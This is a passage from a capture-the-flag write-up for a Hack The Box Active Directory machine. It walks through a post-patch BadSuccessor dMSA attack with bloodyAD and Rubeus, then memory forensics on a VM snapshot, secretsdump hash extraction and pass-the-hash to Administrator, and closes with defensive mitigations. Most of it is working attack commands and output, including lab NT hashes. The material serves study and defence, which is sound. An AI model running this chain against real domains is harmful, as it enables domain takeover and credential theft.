bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededServiceAccountState -v 1

# verification
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" --attr msDS-SupersededManagedAccountLink,msDS-SupersededServiceAccountState

Step 3, repeat tgtdeleg (the previous TGT may have expired) and request the dMSA’s TGS with /dmsa:

C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap

C:\Windows\Temp\Rubeus.exe asktgs /targetuser:evilDmsa2$ /service:krbtgt/checkpoint.htb /dmsa /opsec /nowrap /ticket:<TGT_base64>

[*] Action: Ask TGS
[*] Building DMSA TGS-REQ request for 'evilDmsa2$' from 'ryan.brooks'
[+] Sequence number is: 1854162121
[*] Using domain controller: DC01.checkpoint.htb
[+] TGS request successful!

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  UserName                 :  evilDmsa2$ (NT_PRINCIPAL)
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1

With the bidirectional link complete (msDS-ManagedAccountPrecededByLink on the dMSA + msDS-SupersededManagedAccountLink/msDS-SupersededServiceAccountState on svc_deploy), the KDC no longer returns KRB_ERR_GENERIC, confirming this was exactly the check added by the CVE-2025-53779 patch. The resulting TGT is for evilDmsa2$, which inherits svc_deploy’s privileges through the “succession” relationship.

Step 4, convert the ticket to .ccache and operate as svc_deploy from Kali:

base64 -d evilDmsa2.b64 > evilDmsa2.kirbi
impacket-ticketConverter evilDmsa2.kirbi evilDmsa2.ccache
export KRB5CCNAME=evilDmsa2.ccache

With this, evilDmsa2$ effectively acts as svc_deploy against domain resources (SMB, etc.), next step: enumerate access (e.g. \\dc01\VMBackups) to reach Administrator/root.txt.

Accessing \\dc01\VMBackups and Memory Forensics With MemProcFS

With evilDmsa2$’s .ccache (svc_deploy’s privileges), netexec reveals read access to a new share:

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --shares
SMB    dc01.checkpoint.htb 445  DC01  [+] checkpoint.htb\evilDmsa2$ 
SMB    dc01.checkpoint.htb 445  DC01  [*] Enumerated shares
SMB    dc01.checkpoint.htb 445  DC01  Share           Permissions     Remark
SMB    dc01.checkpoint.htb 445  DC01  -----           -----------     ------
SMB    dc01.checkpoint.htb 445  DC01  VMBackups       READ
...

Spidering the share reveals a folder that’s basically an explicit hint from the box:

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --spider VMBackups
\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem
\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn
...

memory forensics + .vmem (a raw VMware RAM dump) = memory forensics with MemProcFS. The file (~2 GB) is downloaded with netexec --get-file (more reliable than impacket-smbclient with paths containing spaces):

netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --get-file 'NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-Snapshot1.vmem' /home/jolmedo/checkpoint/snapshot.vmem

Note: evilDmsa2$’s TGS has a short lifetime. If the download fails with KRB_AP_ERR_TKT_EXPIRED, the ticket needs to be regenerated by repeating tgtdeleg + asktgs /dmsa (Step 3 of the previous section) and re-converting to .ccache, the Superseded* attributes already written in AD are persistent, no need to redo them.

Mounting the .vmem with MemProcFS (Linux x64 build from GitHub releases ):

mkdir -p /mnt/memprocfs
sudo ./memprocfs -device /home/jolmedo/checkpoint/snapshot.vmem -mount /mnt/memprocfs -forensic 1

-forensic 1 mode automatically parses the VM’s registry hives and exposes them as .reghive files (a valid hive format) under registry/hive_files/:

sudo ls /mnt/memprocfs/registry/hive_files/
0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive
0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive
0xffffc30a3278e000-SAM-MACHINE_SAM.reghive
...

Extracting SAM/SYSTEM/SECURITY and dumping hashes offline with secretsdump:

cd ~/checkpoint
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive SYSTEM
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive SECURITY
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a3278e000-SAM-MACHINE_SAM.reghive SAM
sudo chown $USER:$USER SAM SYSTEM SECURITY

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
[*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:28f8d934dee90b2ec824351cb0844479:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd
dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b
[*] NL$KM 
NL$KM:0e421c8e384f72e38169dd54e29255fa6c319978314c9e6a7fb9f92606ac7bffeb8a9509446e3a5262b1c2f766b0c353673029e7a3f3776a886970a69ab46f40
[*] Cleaning up...

The local Administrator NT hash from that backup VM (f29e9c014295b9b32139b09a2790be3b) turns out, once again due to credential reuse, to be the same as the domain Administrator’s:

netexec smb dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
SMB    dc01.checkpoint.htb 445  DC01  [+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

Direct shell with evil-winrm:

evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b

C:\Users\Administrator\Desktop only contains desktop.ini (no root.txt). The flag is on another user’s desktop:

Get-ChildItem -Path C:\ -Filter root.txt -Recurse -ErrorAction SilentlyContinue | Select-Object FullName
FullName
--------
C:\Users\max.palmer\Desktop\root.txt

🏴 Root Flag

type C:\Users\max.palmer\Desktop\root.txt

πŸ›‘οΈ Mitigations / Blue Team

  • Tombstone reanimation: audit and restrict the Reanimate-Tombstones extended right, it should be limited to Tier 0, not operational OUs like Employees.
  • BadSuccessor / dMSA (CVE-2025-53779): patch Windows Server 2025 DCs (August 2025 Patch Tuesday), review CreateChild permissions on OUs/containers that allow dMSA creation, and restrict control over the Superseded*/PrecededBy* attributes and account migration to Tier 0. Add SACL auditing on dMSA creation and link-attribute changes on both sides of the relationship.
  • Password reuse: enforce password policies that prevent shared credentials across accounts (alex.turner / mark.davies), and monitor for authentications using the same password across different accounts.
  • \\dc01\VMBackups: tighten the share’s ACLs and treat memory/VM dumps as Tier 0 assets, a .vmem exposes NT hashes reusable via pass-the-hash.

πŸ“ Chain Summary

#TechniqueToolResult
1AD permission enumeration with alex.turner’s credsbloodyAD get writableWRITE on tombstone Mark Davies + Reanimate-Tombstones on OU=Employees
2Reanimating the tombstone objectbloodyAD set restoremark.davies account restored with its original userAccountControl/password
3Password reusenetexec smbmark.davies:Checkpoint2024! β†’ RW access to DevDrop
4RCE via malicious .vsix extension + vscodesync.ps1vsce, smbclient, PenelopeShell as ryan.brooks + user.txt 🚩
5ACL enumeration with current Kerberos ticketPowerView (Find-InterestingDomainAcl), bloodyAD get writableCreateChild on OU=DMSAHolder and full control over CN=svc_deploy (BadSuccessor/Administrator and winPEAS GenericAll/Administrator ruled out as dead ends)
6Post-patch BadSuccessor (BetterSuccessor): dMSA evilDmsa2 bidirectionally paired with svc_deploy (msDS-SupersededManagedAccountLink/msDS-SupersededServiceAccountState via bloodyAD)BadSuccessor.exe, Rubeus (tgtdeleg+asktgs /dmsa), bloodyAD, impacket-ticketConverterTGT for evilDmsa2$ with svc_deploy’s privileges
7Access to \\dc01\VMBackups as svc_deploy β†’ downloaded Windows Server 2019-Snapshot1.vmem (the “memory forensics” folder)netexec --spider/--get-fileMemory dump of a backup VM
8Offline memory forensics: mounting the .vmem and extracting the SAM/SYSTEM/SECURITY hivesMemProcFS (-forensic 1), impacket-secretsdumpLocal Administrator NT hash (f29e9c014295b9b32139b09a2790be3b), reused in the next step
9Pass-the-hash with the backup VM’s local Administrator NT hash, also valid for the domain Administrator (credential reuse)netexec, evil-winrmShell as Administrator + root.txt (C:\Users\max.palmer\Desktop\root.txt) 🏴

See you in the next challenge.